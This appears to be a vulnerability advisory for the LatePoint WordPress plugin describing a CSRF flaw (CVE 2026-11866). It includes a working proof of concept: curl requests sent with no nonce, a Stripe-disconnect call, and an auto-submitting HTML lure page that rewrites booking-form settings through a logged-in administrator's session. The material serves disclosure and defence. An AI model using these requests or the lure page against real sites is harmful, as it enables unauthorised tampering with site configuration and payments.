LatePoint < 5.6.3 – Multiple Privileged Actions via CSRF | CVE 2026-11866

Description

The plugin does not validate a CSRF nonce on several state-changing actions handled by its central request dispatcher, allowing attackers to perform privileged actions, such as overwriting the booking-form configuration or disconnecting the connected payment gateway, via Cross-Site Request Forgery against a logged-in administrator.

Proof of Concept

Victim: an administrator logged into wp-admin. Attacker: unauthenticated, hosting the page below on any origin. No nonce or token is included in the request.

Step 1 - As the administrator victim (in a real attack the victim is already logged in), establish the session cookie:

```bash
curl -sk -c cookies.txt "https://victim.example/wp-login.php" -o /dev/null
curl -sk -c cookies.txt -b cookies.txt \
  --data-urlencode "log=admin" --data-urlencode "pwd=PASSWORD" \
  --data "wp-submit=Log+In&redirect_to=https://victim.example/wp-admin/" \
  "https://victim.example/wp-login.php" -o /dev/null
```

Step 2 - Send the booking-form-fields change with NO nonce (an empty `email[active]` disables the email field):

```bash
curl -sk -b cookies.txt -G "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=latepoint_route_call" \
  --data-urlencode "route_name=form_fields__update_default_fields" \
  --data-urlencode "return_format=json" \
  --data-urlencode "default_fields[first_name][width]=25" \
  --data-urlencode "default_fields[first_name][required]=on" \
  --data-urlencode "default_fields[first_name][active]=1" \
  --data-urlencode "default_fields[email][width]=99" \
  --data-urlencode "default_fields[email][required]=off" \
  --data-urlencode "default_fields[email][active]="
```
Response:
```
{"status":"success","message":"Default Fields Updated"}
```

Step 3 - Repeat the same request with a junk nonce (`&_wpnonce=deadbeef00`); it returns the same success, proving the nonce is never validated.

Step 4 - Disconnect the payment gateway with no nonce:

```bash
curl -sk -b cookies.txt -G "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=latepoint_route_call" \
  --data-urlencode "route_name=stripe_connect__disconnect_connect_account" \
  --data-urlencode "return_format=json"
```

Step 5 - The real cross-site exploit. Host this page on any origin; when a logged-in administrator opens it, the top-level GET form auto-submits and carries the administrator's authentication cookie:

```html
<!doctype html><html><body onload="document.getElementById('f').submit()">
<h1>Congratulations, you won a prize!</h1>
<form id="f" action="https://victim.example/wp-admin/admin-ajax.php" method="GET">
  <input type="hidden" name="action" value="latepoint_route_call">
  <input type="hidden" name="route_name" value="form_fields__update_default_fields">
  <input type="hidden" name="return_format" value="html">
  <input type="hidden" name="default_fields[first_name][width]" value="25">
  <input type="hidden" name="default_fields[first_name][required]" value="on">
  <input type="hidden" name="default_fields[first_name][active]" value="1">
  <input type="hidden" name="default_fields[email][width]" value="99">
  <input type="hidden" name="default_fields[email][required]" value="off">
  <input type="hidden" name="default_fields[email][active]" value="">
</form>
</body></html>
```

Step 6 - Result: the `default_fields_for_customer` option is overwritten with the attacker's values (first name width 25, email field width 99 and deactivated), and because the email field is deactivated the `wp_users_as_customers` option is turned off. The change appears under LatePoint > Settings > Booking Form, and the option value can be checked before and after. No nonce is present in the request at any point.